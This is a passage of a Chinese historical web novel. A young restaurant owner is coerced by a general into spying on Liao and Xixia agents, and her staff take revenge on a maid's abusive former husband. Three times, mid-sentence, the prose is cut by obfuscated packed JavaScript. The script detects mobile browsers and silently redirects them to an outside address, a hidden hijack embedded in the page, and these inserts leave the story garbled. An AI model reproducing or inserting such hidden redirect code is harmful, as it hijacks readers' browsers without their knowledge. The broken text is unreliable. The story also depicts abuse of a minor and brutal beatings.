她心念电转间,身上绳索已被护卫尽数解开。盈玥活动了下僵麻的手臂,对着男子欠了欠身子:“请沈将军安。” 若所料不差,这应该是宁王沈彻嫡长子沈昭行。去年投效军伍后,跟着黄老将军驻守西北,与西夏军对峙于延州。 在他之前,我朝与西夏的对战几乎没有赢过,也因此主和一派在朝堂上一直占据上风,但沈昭行参军后,其所率领的队伍,在短短一年时间内,和西夏大大小小交兵十几次,竟无一败绩。 最大的一场战事中,他以一敌三,击退了三名西夏的武将,凭此役收复了北墉城,功冠侪辈,以弱冠之龄官拜正四品延州指挥使。加之宁王世子身份与绝世姿容,即使在王公贵戚云集的东京府,也是无人出其右的存在。 只是不知这般人物,为何要绑她来?更不知他针对的究竟是丰乐楼掌柜,还是杜家六姑娘。 沈昭行对她认出自己毫不意外,而是饶有兴味地开口:“知道岳掌柜急着赶往清虚观好回杜府,沈某便开门见山了。” 很好。 这是把两个身份都查透了。 盈玥脸色渐沉,齿间挤出冷笑:“将军是需要我做事情,对吗?” 沈昭行眼中掠过激赏:“不错。你既知我身份,当明白武将最重军情。酒楼瓦肆向来是消息汇集之地——” 他话音微顿,目光如鹰隼般锁住她,“东京城里但凡有些规模的酒楼,都有大辽、西夏的探子混迹其中。丰乐楼将来,也绝不会例外。” 他的语气低沉而清晰:“我要你,设法取得他们的信任,替我探听敌情,做我的眼睛。” 盈玥心头巨震。 此事太大,也太险。做得好自己未必有功,做不好却一定会是重罪,且一个不小心还会把全家搭进去。 她稳了稳呼吸,垂眼轻声道:“将军明鉴,臣女经营丰乐楼的初衷,不过是为谋个生计,并未存什么扬名立万之心。想来,那些探子也看不上这般不起眼的小店。” 沈昭行听了,嘴角微微一弯,笑意却未达眼底:“无妨。人的初衷,本就是会变的。我如今,不正是给了你一个新的‘初衷’么?” 他语调舒缓,却字字清晰,“况且,以姑娘之才,丰乐楼的前程——又岂会仅限于眼前?” “蒙将军信重,臣女感激不尽。”她仍旧低眉,声音更柔婉几分,“只是朝政非女子可涉。将军上有世交公卿,下有皇城司密探,圣眷正浓,何愁情报不得?” 她再度屈身:“臣女区区五品官庶女,才疏学浅,实不敢误将军大事。” 沈昭行却轻笑:“杜姑娘以为,我是在与你商量?” 他桃花眼微弯,寒意却蚀骨侵肌,“你方才说得对,你不过是个五品官庶女。” 他慵懒踱步上前,拾起地上绳索在指间把玩,语气闲适如论家常:“辽使一案证实朝中有敌国细作。官家命我主理此案——若我发现杜府牵涉其中呢?” 他指尖轻捻麻绳,“听说令兄近日多番打探辽使案详情。” 盈玥的脸色越来越难看,她知道沈昭行说的是二哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈昭行见她这般忽喜忽忧的模样,险些失笑:“六姑娘,天色可不早了。” 盈玥索性撕下伪装,字字从齿缝迸出:“臣女还有选择么?只怕从将军派指挥使来丰乐楼透露布防图那刻起,我就已无路可退。” 对她点破指挥使之事,沈昭行眼底惊艳更甚:“很好,果然没看错人。” 他轻笑道,“姑娘玲珑心肝,定能将此事办得妥帖。” 既已达成目的,沈昭行也懒得再多言:“明日会有通晓辽语、西夏语的伙计前往丰乐楼求聘,请岳掌柜收录。” “愿我们——协作愉快。” 说完不待回应,沈昭行便对着门口的护卫挥了挥手,由他们将盈玥带了出去。 确认盈玥离去后,亲卫江开走到沈昭行身边,低低地问道:“公子,您为何不直接从皇城司获取情报呢,而且丰乐楼的规模离潘楼尚且差一大截,每日去潘楼的达官显贵数都数不过来,里面不光有敌国的探子,也有很多朝廷的探子,就算真要安插人手,我们也可以选潘楼啊。” 沈昭行眸光幽深:“皇城司也好,潘楼也好,到底都成立了许多年,里面的势力盘根错节,既然要挑选眼睛,自然要选择最干净最纯粹,可以完全由我掌控的。” 江开理解了沈昭行的意思,确实,因着朝堂上对于战和的分歧,导致皇城司内部也分成了两党,且这次接办辽使的案子时发现,敌国的细作几乎无孔不入,而这些赫赫有名的地方尤甚,几乎每个人都有自己的心思,里里外外两张面皮。 想了想,江开又问:“公子觉得,这个杜盈玥值得信任吗?” 暮色透窗,映得沈昭行侧脸半明半暗:“单凭她能说出‘他年我若为将军,重刻界碑于阴山'',我也愿意相信她。” 从沈昭行处离开后,盈玥才发觉自己竟一直在清虚观内——方才那间囚禁她的厢房,与她平日更衣之处仅一墙之隔。 而此时,太阳刚刚落下最后一点余晖。 时间卡的正好。 杜盈玥不由得在心里感叹,沈昭行这个人,虽然不足二十,但谋算之缜密,做事之老辣,行为之果决,都是她见过的人中的佼佼者,偏生还有一个贵极无匹的家世和无双的容颜。 “云泥之别,大抵如此。” 盈玥不由得叹道! 9. 新人加入 第二日,盈玥前脚刚踏进丰乐楼,还没来得及换好装扮,小玉便推门进来:“掌柜的,楼下来了一个人,自称和您认识,说昨日和您约好今日拜访。” 来的真准时,这是提前把自己的行踪都掌握了,盈玥坐在梳妆镜子前,一边将一支银钗插在发髻旁,一边淡淡道:“知道了,请他进来吧。” 来人是一个约莫二十六七岁的男人,脸型方方正正的,高眉深目,皮肤黝黑粗糙,手里拿着一个信封,见着盈玥便笑,露出一口大白牙,看上去豪爽质朴:“见过掌柜的。” 盈玥原本以为沈昭行会给她派一个上级,来监督指挥她的,但现下看来,自己仿佛猜错了,心情一下子畅快许多,便也笑着配合:“你我是老熟人了,不必拘礼,快请坐吧。” 然后对着给男子倒茶的小玉笑说:“你去收拾一间厢房出来,我记得丰乐楼修缮的时候,买过一对天蓝釉的花瓶和一个缠枝牡丹的立柜,后来放在库房了,你去找出来一起摆到房间去,然后再告诉大家店里来新人了,让他们好好去收拾下,一会和新人见面的。” 小玉原本以为来人只是东家的普通客人,却没想到竟是将来朝夕相处的新伙计,当下便好奇的看向男子,把他打量了个遍。 不过也不意外,小玉心想,毕竟我们丰乐楼开张后的生意一直很好,想象中其他酒楼经常来闹事的情况也并未出现,再雇新人手是早晚的事。而且眼前的这个男人看上去也很好相处,多个人帮忙,自己也能轻松一些,于是喜滋滋地应着盈玥的话,倒完水后便忙不迭地推门出去做事了。 将小玉支开后,盈玥对着男子客气道:“不知大人如何称呼?” 男子摆了摆手:“掌柜的千万不要如此客气,我叫叶贵松,是归宋的意思。” 说着便把手里的信封双手递给盈玥:“这是沈将军让在下交给您的。” 盈玥伸手接过,却发现信封并未用花蜡封住,而是大大方方的敞开着,盈玥明白,这是沈昭行告诉她,叶贵松是他信得过的人,所有的事都不必瞒着他。 信封里面是一份叶贵松的履历,他是丰州人,因丰州地处大宋、辽国和西夏的边界,这个地方的人大多数都会三个国家的语言,且因该地战乱频发,辽人和西夏人又都人高马大,经常欺负汉人,故此叶贵松为了自保,也颇通拳脚功夫。 他多年来一直以走脚经商为主,将茶叶、丝绸、瓷器卖到西夏或者辽国,再把马匹、骆驼和毛皮等货物卖给大宋。因他胆子大,又颇善交际,几年下来倒也积攒下了不少家产。 谁知三年前,西夏的官府突然以走私贸易的罪名抄了他的家,将他的父母家人全部屠杀殆尽,因他当时正在辽国运货,这才免遭劫难。 为给家人报仇,叶贵松愤然弃商,投了延州军,于一年前,被黄老将军指派到沈昭行帐下。 此人会辽文和西夏文,且在三国来往经商多年,对辽和西夏的情况了如指掌,人情世故上也是老手,又会武功,因一直在边境一带活动,东京府的人都不认识他。 沈昭行给她挑了个绝好的人选。 盈玥起身,将桌案的蜡烛点燃,然后当着叶贵松的面,把信连同信封一起烧了:“丰州自李唐以来,便一直归属我大宋,可恨十几年前被西夏强占了去,令尊给您取这个名字,真令人钦佩。只是——” 盈玥顿了顿,看向叶贵松坦诚道:“我们做的事极其隐秘,自身的安全最为紧要,不然便什么大事也做不成了,虽然在东京没有认识您的人,但保险起见,还是不要以真实的名字示人,这信我刚刚烧掉,此后,您的身份,除了沈将军,便只有你我二人知晓,您看如何?” 叶贵松连连点头,称赞道:“掌柜的虽年纪轻轻,考虑事情却无比周全,沈将军好眼光啊!” 随机又叹道:“若大宋臣民均有您和将军的智勇,我父母的愿望,怕是早就实现了。” “您谬赞了”盈玥笑着问:“您看取一个什么名字为好?” 叶贵松谦逊道:“既是丰乐楼的伙计,自然掌柜的取名最好。” 盈玥听罢,知道男儿家不拘这些,便也不推辞,她起身到书架旁,随手拿起一本书翻了一页,映入眼帘的是贯休的《献钱尚父》——“满堂花醉三千客,一剑霜寒十四州。” 盈玥的手摩梭在“十四”两字上,想想又觉得“四”不太吉利,便转身对着叶贵松笑道:“不如十九怎么样,叫叶十九。” “十九...”叶贵松沉吟了一下,旋即起身对着盈玥深深的鞠了一躬:“叶十九多谢掌柜的赐名。” 却说丰乐楼一楼的仓库门前,此刻正是一片狼藉。各色杂物几乎占去了大半个回廊,茜雪捧着今日的采买单子经过,不由蹙眉驻足。 探头望去,只见小玉正猫着腰在箱笼间翻找,鬓发散乱也顾不上整理。茜雪忙将单据搁在门边柜上,笑着上前搭手:“阿弥陀佛,我的小姑奶奶,照你这般找法,便是有金元宝也该翻出来了!” 小玉闻声直起身,抹了把额角的薄汗:“掌柜的吩咐收拾间厢房,要摆那对天蓝釉花瓶和缠枝牡丹立柜。可怪得很,我怎么都寻不见。” 见她发丝沾灰,颊边还蹭着几道污痕,茜雪轻点她额头笑骂:“找不着也不知来问我?瞧你这小花猫似的模样!” 接着茜雪便解释:“昨日掌柜的也让我收拾了一件厢房,我瞧着里面太单调,便把那两样摆进去了,不知怎的,掌柜的今日又让你收拾一间,别是记岔了,忘记昨日交待过我了?” “掌柜的才不会记错!”小玉当即反驳,“开张这些时日,你可见她出过半点差错?” 茜雪知道,小玉一向把东家的话当圣旨去办的,便也不恼,只是宠溺地应和道:“是是是,就是准备两间厢房的。只是既已摆妥,来回搬挪费事。库房里还有不少好物件,我另挑几样与你?” “不行。”小玉执拗地抿唇,“掌柜的既指定了这两样,便非得它们不可。” 见她这般倔强,茜雪只得苦笑:“罢罢罢,随我来取便是。” 二人刚将库房归整妥当,抱着物件穿过大堂时,小玉却猛地顿住脚步。 茜雪顺着她的视线看去,只见那张桌子旁坐着四个客人,年纪好像都不大,清一色读书人的装扮,面朝她们的是一个颇为清秀的书生,一身淡蓝色的衣袍,头发用一条灰色发绳系了起来,许是喝了一些酒的缘故,原本白皙的脸此刻红扑扑的,说话声音和行为举止也略显张扬了些,也因此小玉才注意到了他。 茜雪看着小玉的反应,此刻后者已经用牙齿死死的咬住了嘴唇,盯着那个书生的眼睛也蓄满了眼泪。 茜雪明白了什么,轻轻问道:“这就是你那个丈夫吗?” 小玉点头,喉咙却像被东西噎住了一般,什么话都说不出来了。 茜雪是知道小玉的身世的,这丫头今年才十四,是东京郊外草场湾人氏,她家里穷,上面还有一个哥哥,父母为了给她兄长成亲,便将她匆匆忙忙地嫁到当地的一个姓张的老秀才家里,给他的儿子当小妾。 谁知嫁过去的当晚,行周公之礼时,小玉的下身并未出血,张家因出了秀才,在当地也算有名的人家,且读书人又一向最好面子。 见到白色的帕子上干干净净,张郎登时大怒,不管小玉如何解释都不理会,直接将衣不蔽体的小玉拖出去了家门,在街上狠狠地打了一通,惹得全村围观。当天晚上便一纸休书,将小玉退回娘家,并要求还回彩礼。 谁知小玉的父母也是无赖,拒不收人,还说人是清清白白嫁过去的,这大门一闭,谁知道里面发生了什么,横竖已经是他们家的人了,他们想怎么处理就怎么处理,跟娘家没关系了,反正彩礼钱是肯定不会退的。 张郎怒不可遏,天不亮便把小玉卖到了东京有名的青楼千芳阁,甚至连一件完整的衣服都没给她换。 被卖过去后,小玉拖着摇摇欲坠的身子,试着逃跑了两次,都被护院发现,然后被打的死去活来,千芳阁的管教妈妈也不许小玉吃饭,经常一整天都不给一口水喝,盈玥就是在这种情况下遇到小玉的。 小玉当时已经两天水米未进,身上的伤惨不忍睹,眼看活不下去了,管教妈妈心疼钱,不想给她医治,再加上她性子实在倔强,挨了这么多顿打也不为千芳阁做事,妈妈自觉她没有利用的价值,便命人将小玉从后门丢了出去,任其自生自灭。 那天,盈玥刚好去千芳阁挑舞女,为丰乐楼的开张做准备,因自己是女人,来往青楼多有不便,故而也走了后门,便遇见了奄奄一息的小玉。 她当时受伤太重,是盈玥请了几个人帮忙抬回来的,因此她的情况,丰乐楼的伙计们都或多或少知道一些。 也为着是被盈玥救了性命,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878381|191915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉对其言听计从的程度,甚至比官家的旨意更甚。 茜雪细细地看了一圈大堂的情况,此时已接近正午,正值午膳之际,且丰乐楼开张不久,现还在削价酬宾,因此客人络绎不绝,现下已坐满了大半。 茜雪眼珠转了转,心中已有了主意,她轻轻抚着小玉的背,低低道:“你要的摆件在靠近庆喜的那间厢房里,你去换过来,把掌柜的交代的吩咐做好,这里交给我。” 然后她拿出手帕给小玉擦干净眼泪:“一会记得洗把脸,别让掌柜的担忧,这里放心交给我。” 约莫过了一顿饭的功夫,小玉完成了盈玥交代的事情,去上楼回话:“掌柜的,厢房已经收拾好了,也跟他们都说了添新人之事,您看是现在带着……” 叶十九补充道:“叫我十九就好。” 小玉赶紧接过话:“要现在带着十九去和大家见面吗?” 盈玥看了看小玉,却发现她的眉毛和早上化的不太一样,眼圈也有些泛红,盈玥在心中计较着,但还是不动声色道:“先带着十九去楼下用膳吧,我们一会还有一位新人,等来了一起见。” “啊?”小玉惊讶了一声,居然真的还有一位新人啊,旋即又意识到这不是自己该操心的,赶紧连忙应道:“是,十九小哥跟我来吧。” 盈玥刚用完午膳不出半刻,庆喜便引着第二位新人踏入门槛。 见到来人的刹那,盈玥立即起身相迎,眼中漾开真切笑意:“终于盼来董余先生了!” 她转头吩咐庆喜:“去准备一盆热热的洗澡水,再将我昨日让你准备的衣裳取来。” “是”庆喜意识到这个人必然极为重要,因此应声出去时,把门一并带上了,室内顿时安静下来。 “吱呀”声刚落,董余便对着盈玥深深一揖:“多谢掌柜的为我儿讨回公道。” “先生快请坐。”盈玥连忙扶他入座,执壶斟茶时轻声道,“实不相瞒,我一直担心先生会以为我冒领他人功劳。” 董余摇头:“掌柜的多虑了。那日您立下五日之约,若非胸有成竹,岂敢夸此海口?” 他摩挲着粗陶茶盏,声音渐沉,“这些时日我求遍权贵,唯有掌柜的愿施以援手。单凭那句‘不为别的,只为公道'',这份恩情老夫永世不忘。” 他抬眸时目光坚定,“从今日起,董余便是丰乐楼的厨子,但凭东家差遣。” “太好了!”盈玥虽早有预料,闻言仍喜形于色。能得董余出山,丰乐楼可谓如虎添翼。只是细看之下,他鬓间又添许多霜色,眉宇间挥之不去的悲怆令人心酸。 她取出备好的契约轻推至案前:“先生的月钱是十二贯,除此之外,每年我会拿出丰乐楼营收的一成给您,一应的吃穿住行,也都不需要您费心。除此之外……” 盈玥顿了顿,从袖中拿出了另外一份早就准备好的纸张递给董余:“我知道您有一个孙女,现在和您的儿媳郭氏住在一起,因着男女有别,董公子去世后,您不便时时探望,我让人给郭家嫂嫂带去了话,以后一日三餐,都尽管来丰乐楼用,只要店面开张一天,丰乐楼的吃食住宿,都一应对她们母女免费,她们家离这里不远,且日后也没有太多的生财之道,想来应该会经常过来的,这是给她们承诺的凭据。” 董余颤抖着接过纸张,看到完其中的内容后,终于老泪纵横。自儿子惨死,他唯恐流言伤及寡媳幼孙,连给孙女做顿饭都要避嫌。此刻望着眼前周全的安排,他忽然起身,撩起衣袍便想跪下:“东家大恩......” “使不得!”盈玥急忙托住他手臂,“您是长辈,这般岂不是折煞我?” 董余擦了擦眼泪,二话不说,径直去书案上拿了支笔,在第一张契约上签下了自己的名字。 门外,庆喜的声音传来:“掌柜的,洗澡水已经烧好了。” 盈玥收好契约温言道:“想来您应该去看了辽使问斩的场景,虽然您是庖厨,见惯了血腥,但这种场面到底不同,且这些日子您也奔波劳累了,去洗个热水澡,好好松散一下,往后的日子还长着呢,咱们要打起精神来好好过。” “涤尽尘襟烹茶坐,笑看庭花自在开”盈玥弯着眼睛,“那日我在您家门前看到了好些花草,想来您应该喜欢,所以昨日便让人移植了几株桃树到您的厢房前,春天马上来了,希望春深时的桃夭灼灼,可宽解到先生。” 10. 这丫头,确实有意思 申时一向是酒楼难得的休息时间,盈玥让庆喜把伙计们都召集了起来,将十九和董余一一做了介绍,大家都非常欢迎,尤其是孙大海,他在看到董余后,两只眼睛直呆住了,片刻后反应过来,脸上的激动和兴奋连小玉都看出来了。 他虽知晓盈玥的真实身份,但毕竟杜家根基太浅,他怎么也想不到盈玥真的可以把事情办成,将连御膳房和潘楼都看不上的人请出山。 想到这里,他的眼眶不禁有些湿润,他第一次见盈玥的时候,她还是襁褓中不足半岁的婴孩,现在不光出落得亭亭玉立,还聪慧无双,懂经营有决断,淑娘在天有灵,也可以安心了。 孙大海眼中带泪,但笑得很开心,他爽朗道:“这么大的喜事,我们厨房今天晚上必定多多烧几道菜,大家好好热闹一番!” 盈玥也笑着点头,但在目光扫过大堂的几处桌子后,笑容便微微收了下,那几张桌椅虽颜色形状和周围的很接近,一眼确实难以分辨,但是雕刻的纹饰却有一些差别。 当初买下和修缮丰乐楼,几乎花尽了盈玥所有的钱财,一度给披香院女使平日打赏的钱都拿不出来,因此每一宗款项的使用,盈玥都反复度量,确保用到最佳。甚至连锅碗瓢盆都亲自挑选,如今桌椅的变化,自然也逃不过她的眼睛。 若只是物品坏了替换,又怎会好几处一起坏。 再联想到小玉微红的双眼,和明显重新梳洗过的妆容后,盈玥逐渐敛起了唇角,目光扫视着众人,用很确信的语气问:“今日可是发生了什么冲突?” 伙计们也没想到掌柜的一眼就发现了问题,明明已经掩饰地很好了,丰乐楼的桌椅都是开张前特意找工匠按照图纸打磨的,坏掉后一时补不到同样的货。为此,他们还特意逛了七八间商铺,最后在虹桥旁边的一处铺子中,买到了这版类似的款式,而且只消用此瞒过三两日就可,等手工打制的桌椅到了后,便马上撤下来。 他们原以为这么短的时间应该发现不了,谁知这么快就露馅了,当下都面面相觑,谁也不敢开口。 看着大堂内刚刚还欢乐热闹的氛围一下子戛然而止,庆喜深吸了一口气,从后面一排挤到盈玥面前,道出了事情的原委。 原来茜雪在安抚小玉时,看着大堂内来来往往的客人,心下便冒出了一个主意,她连忙去和庆喜商量,因为对小玉的同情,二人一拍即合。 在看到怀远伯的家丁从楼上下来后,庆喜瞅准时机,去张郎桌前说道,因丰乐楼刚刚开张,每日都会抽取一桌客人免掉花销,问他们还需不需要加些酒水菜肴。 他们那几人原都是读书人,家境本不甚富裕,每次来丰乐楼这种地方,都只敢在大堂点些平常的菜食和酒水,连二楼的雅间也未曾去过,因此当下听说可以免单后,都兴奋起来, 说张郎今日可是占了大便宜,原是说好一人请一顿,不曾想今日轮到他时,竟可以免去银两,看来连老天爷也知道张郎娶了个□□,现下是在补偿呢。又大声喊着要去最贵的厢房,再把店里最贵的羊酒拿两坛出来,他们要好好宽慰一下苦主。 庆喜听罢,故作歉意道,今日最后一坛羊酒被一位通侍大夫订去了,厢房是怀远伯在宴请宾客。 张郎本就觉得面子挂不住,现下提的两个要求又都被庆喜拒绝,本就醉醺醺的他顿时大怒,指着鼻子骂庆喜狗眼看人低,眼里只有那些侯爵和为官做宰的,瞧不上他们这些读书人,孰不知那些个侯爵伯爵的后代,各个都是绣花枕头,真本事一个没有,只能求着朝廷给个荫官,若不是投了个好胎,只怕现在饿死在哪里都不知道,还有那个什么通侍大夫,武官而已,又是虚职,我朝一向重文抑武,这个破大夫,哪里比得上他们读书人体面... 一通喝了猫尿的胡话,直接把还没结账的怀远伯,还有正在大堂用膳的通侍大夫给得罪了。 二人直接指挥家丁,把张郎一行人从凳子上揪了起来,把六七个酒坛子砸在了他们头上,然后把人踹翻在地,因不能伤人性命,家丁们便拳打脚踢,后又抄起桌椅板凳卯足了劲往他们身上招呼,最后干脆把人都拖到后巷那不见人的地方去接着揍,临走前怀远伯直接扔下了几张交子,说损坏桌椅的账连同通侍大夫的账都一并记在他头上,还让家丁把能用的桌椅也一起带走了。 约莫半个时辰后,庆喜看到怀远伯家的轿辇大摇大摆地从丰乐楼地大门经过,才去查看情况,后巷桌椅散了一地,有几个都从中间断开了,可见用力之猛。 而那几个书生早已被揍昏迷,衣服上全是血,身上一块好地都没有了。 庆喜特意查看了下张郎的情况,发现他下身都软绵绵的,一碰就滋滋地冒血珠,想来腿骨已经碎了,碎骨又戳到了肉里,才有这样的情况,如此这般,便是大罗神仙也难让他站起来了。 讲完这些后,庆喜直接跪在地上,低头平静道:“掌柜的,庆喜给您惹麻烦了,但这件事是我的主意,跟其他人没有关系,您要怎么处罚,庆喜都没有怨言。” 说完他便垂着头闭上了眼睛,静静等着盈玥发落。 谁知盈玥还没说话,茜雪和小玉都齐齐地跪了下来为庆喜求情。茜雪争辩道自己才是主使,主意都是自己出的,庆喜只是去替自己给那几个畜牲传了话而已。 小玉更是哭得一把鼻涕一把泪,抱着盈玥的腿不撒手,说他们都是为了自己,让掌柜的罚她就好了。 其他的伙计们本就同情小玉,庆喜和茜雪的所作所为对他们来讲简直大快人心,因此都二话不说,全都噗通噗通地一起跪下为二人求情,头磕得咚咚响。 看着眼前的场景,盈玥摆了摆手,示意他们安静:“你们是做错了。” 说完这句,她沉默了片刻,接着用水葱一样的手指轻轻叩着眼前的桌子,平静的语气听不出丝毫波澜:“但你们可知错在何处?” 听着盈玥的问话,伙计们本就七上八下的心此时更加慌乱,都噤声垂头,等着盈玥继续讲。 “你们的错在于——那个姓张的书生都昏迷了,庆喜你居然只看了情况就回来了!” “这么好的机会,当然要继续补上几拳啊!” 盈玥话音刚落,众人一下子都被惊到了,都纷纷抬起头来,用不可置信的目光望向她。 他们本以为掌柜的不责怪他们招惹是非已经是天大的开恩了,不曾想竟是如此和他们同仇敌忾,当下都面面相觑。 短暂的惊愕后,庆喜先红了眼眶,他家境不好,从小就在外做各种活计,遇见的东家没有十几,也有两只手了,他挨过骂,受过冻,工钱被变着法儿地克扣,那些东家们看他们这些人的眼神,与看会说话的牲口并无不同。肯把他们当人看,肯为他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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盈玥话音刚落,几个被盈玥从牙婆子处买来的年轻小丫头已忍不住开始低头抹泪。她们原本以为,既已沦落贱籍,这辈子便如无根浮萍,不是被卖入那见不得人的去处,便是在深宅大院里为奴为婢,挨打受骂,过着有今天没明天的日子。 谁知被掌柜的买来这丰乐楼,非但未曾受过半句重话,连住处都被收拾得洁净温暖,吃喝用度更从未被苛待。每日做完分内活计,剩下的时辰竟都由得自己支配。 前些日子小环的娘亲病重,还是掌柜的悄悄请了郎中还塞了诊金……这样的日子,是她们在从前最甜的梦里都不敢想的。 如今亲耳听得盈玥将这里称为“庇护之所”,说给他们依靠,那积攒了许久的感激与终于寻到归宿的安心,让她们激动之余,都忍不住落泪。 一旁的董余,虽说年长些,但几十年光景都埋头在灶台与菜谱之间,心思纯粹,与人打交道最多也不过是教授几个徒弟。 他原本应下这丰乐楼的差事,只为报答盈玥的恩情。可现在,他想,老天爷安排他来这里,或许另有一层意义。 倒是一旁的叶十九,面上不显,心里却已赞叹了数个来回。 怪道将军选中了她! 这岳掌柜当真了得!一番话如同行云流水,先以“同仇敌忾”的态度给了伙计们意外之喜,稳稳地收住人心;再用关怀之名行警醒之实,将“谋定后动”的道理讲出来,让大家不要随意惹是生非;最后更是高明,直接将丰乐楼的存续与每个人的身家前程绑在了一处,将这酒楼变成了大家生死与共地地方。 如此一来,谁还能不生出几分死心塌地的念头?这可比干巴巴的训诫或空泛的许诺,不知强出多少倍。 这丫头,确实有点意思! 11. 是时候整顿内宅了 盈玥返回玉虚观的时候刚好酉时二刻,丹红听见约定的两长一短的敲门声,赶紧迎了上去:“姑娘不是说今天丰乐楼有两位新人来吗,怎的还是回来的如此早,我以为您要在那里和他们用膳,好热闹一下呢。” 盈玥一边熟练地配合丹红给自己换衣服,一边道:“丰乐楼的伙计也不算少了,再加上舞女,已有二十多人了,要管着这么多人,可不能光靠宽厚与体恤。” 丹红问:“还需要什么?” “敬畏”盈玥淡淡道:“这热闹多了,敬畏也便没有了。” 车轿一路晃晃悠悠,木轮发出的单调吱呀声催人欲睡。盈玥的倦意渐渐漫上来,倚着微凉的厢壁,沉入了浅眠。 自玉虚观出来时天色尚有余光,待丹红轻声将她唤醒,禀说“姑娘,到家了”,外面已全被夜色包裹。 杜府侧门前,两个小厮早已备好轿凳静候,见马车停稳,立刻小跑着迎上,恭敬道:“姑娘回来了。” 盈玥略一点头算作回应,目光在他们身上轻轻一扫,并未多言。 披香院正房里,五道菜品并一盅鸽子汤已布置妥当。盈玥刚踏进院门,乐清便领着几个女使笑盈盈地迎上来:“姑娘回来得正巧,饭菜刚上桌。累了一天,想是饿了,奴婢伺候您更衣,早些用膳吧。” 盈玥点头,转向丹红温言道:“你也去用饭吧,晚些再来伺候。” 吩咐完,她便由乐清搀着走向正屋。目光掠过桌面的菜式,她心下已明了几分。 这时,小丫鬟慧儿捧着浆洗干净的常服走进内室,默默递给乐清后便垂首退下,与外间众人一同布菜。 待盈玥更衣完毕,在饭桌前坐定,立即有女使奉上漱盂与铜盆伺候她漱口净手。慧儿适时递来松软的巾帕,盈玥一边细细擦拭指尖,一边随口问道:“这两日,家里情形如何?” 乐清正执汤匙为她布汤,闻言便道:“家中并未有大事。自打主君罚了四姑娘、五姑娘禁足,连带着夫人和周小娘都受了冷落,如今是二哥儿的倪大娘子掌家。才两日工夫,竟将全府事务打理得井井有条。” 她将汤碗轻放在盈玥面前,继续道,“昨儿晚上,她让陪嫁的马婆子拿住了五六个不值夜却偷吃酒赌钱的婆子,今早当众发落了个干净。奴婢瞧着,今日府里下人做事,都比往日勤谨了不少。” 说着又替盈玥布了一道菜,压低声音:“下午倪大娘子去了厨房,见您和七哥儿的份例比别的姑娘公子短了些,二话不说就罚了掌厨。原都以为她嫁过来大半年,温温柔柔少言寡语,不是个能掌事的,如今又怀着身孕,不过是挂个名儿应景儿。谁承想,竟是个有霹雳手段的。” 盈玥小口喝着汤羹,淡淡道:“二嫂嫂是国子监祭酒倪大人的嫡次女。倪家书香传世,世代簪缨,教养出来的女儿,自然不会差。” 她放下汤匙,又问:“她和含露阁那边,眼下如何?” 乐清略一思忖,谨慎道:“倒还没什么动静……许是周小娘挨了罚,正约束着底下人。倪大娘子一时寻不着错处。” 盈玥闻言唇角微扬,眸中掠过一丝清浅的笑意:“既然如此,咱们便好人做到底,再送二嫂嫂一个错处,助她立威吧。” 乐清当即会意,垂首应道:“奴婢明白。” “父亲那边呢?”盈玥慢条斯理地嚼着菜肴,又问道,“这两日歇在何处?” 乐清回道:“都歇在书房。大娘子那儿打发人请了几回,主君都没理会。周小娘亲手做了一食盒点心送去,竟连主君的面也没见上。瞧这情势,气怕是没这么容易消的。” 盈玥对这个答案毫不意外,只轻轻摇头:“如此好的时机,文小娘竟也抓不住。” 乐清轻叹:“自五年前小产后,文小娘便深居简出,万事不争。七哥儿又养在夫人跟前……她如今怕是没了那份心气儿再去争抢。” 盈玥执起汤匙,搅动着碗中清汤,唇边掠过一丝浅淡的讥诮:“只要活在这世上,便不可能与世无争。在这深宅大院里头,再不想斗,也由不得你独善其身。” 她略顿一顿,又道:“我记得今春贺岁时,父亲是赔上阎立本的真迹,才勉强将三哥送进王老太师的私塾。如今只剩七弟一人还在四平胡同的书塾。那儿虽离家近便,先生学问却远不及王老太师。他年纪虽小,可哪个进士不是自幼苦读出来的?再这般耽搁下去,只怕真要误了前程。” “姑娘说的是,奴婢会设法让文小娘明白这个道理。”乐清应下,然后又有些迟疑,“只是……文小娘家世不显,容貌并非绝色,又不似周小娘通晓诗书,能与主君谈古论今。只怕……有心无力。” 盈玥并未直接解答,反而问道:“父亲已非弱冠少年。年逾不惑,官居五品,这个位置最是尴尬,既不似六七品小官那般自甘平淡,又不及二三品大员权柄在握。” “如今仕途正值苦心经营之际,家中偏又有多位适婚儿女。无论他去哪处,都免不了被这些琐事缠身。周小娘纵有才情,亦不能免俗,定会为子女前程多方试探,加上又同大娘子天天争风吃醋。你觉得,此时父亲最需要什么样的女子在身边?” 乐清沉吟片刻,眼神突然一亮:“必是温婉沉静、不多事、不张扬的。” 盈玥唇角微扬,露出一个了然于心的浅笑:“女子的温柔似水,向来是抚慰男人心的最好汤药。” 乐清会意,恭谨应道:“这一点,奴婢也会想办法让文小娘知晓的。” 次日下午,东京马行街一处秦楼楚馆前,几个身材健壮的家丁将一个衣衫凌乱的男子架出门外,重重摔在青石板上,引得路人纷纷侧目。 那男子挣扎爬起,口中不干不净地骂着:“敢把小爷赶出来!真当小爷拿不出银子?狗眼看人低的东西!给老子等着!” “哟!输得连姑娘的脂粉钱都付不起了,还这般大的口气!”老鸨摇着团扇倚在门首,叉腰嗤笑,“您这三五日就被扔出来一回,还没长记性呐!下回再来,记得把银子带足。就您这手气,六七十两银子还不够塞牙缝的!” 男子跳脚大骂:“你等着!晚上就带银子来,非把输的全赢回来不可!叫小梦姑娘好生等着!今晚若敢让她接别的客人,老子砸了你这招牌!” 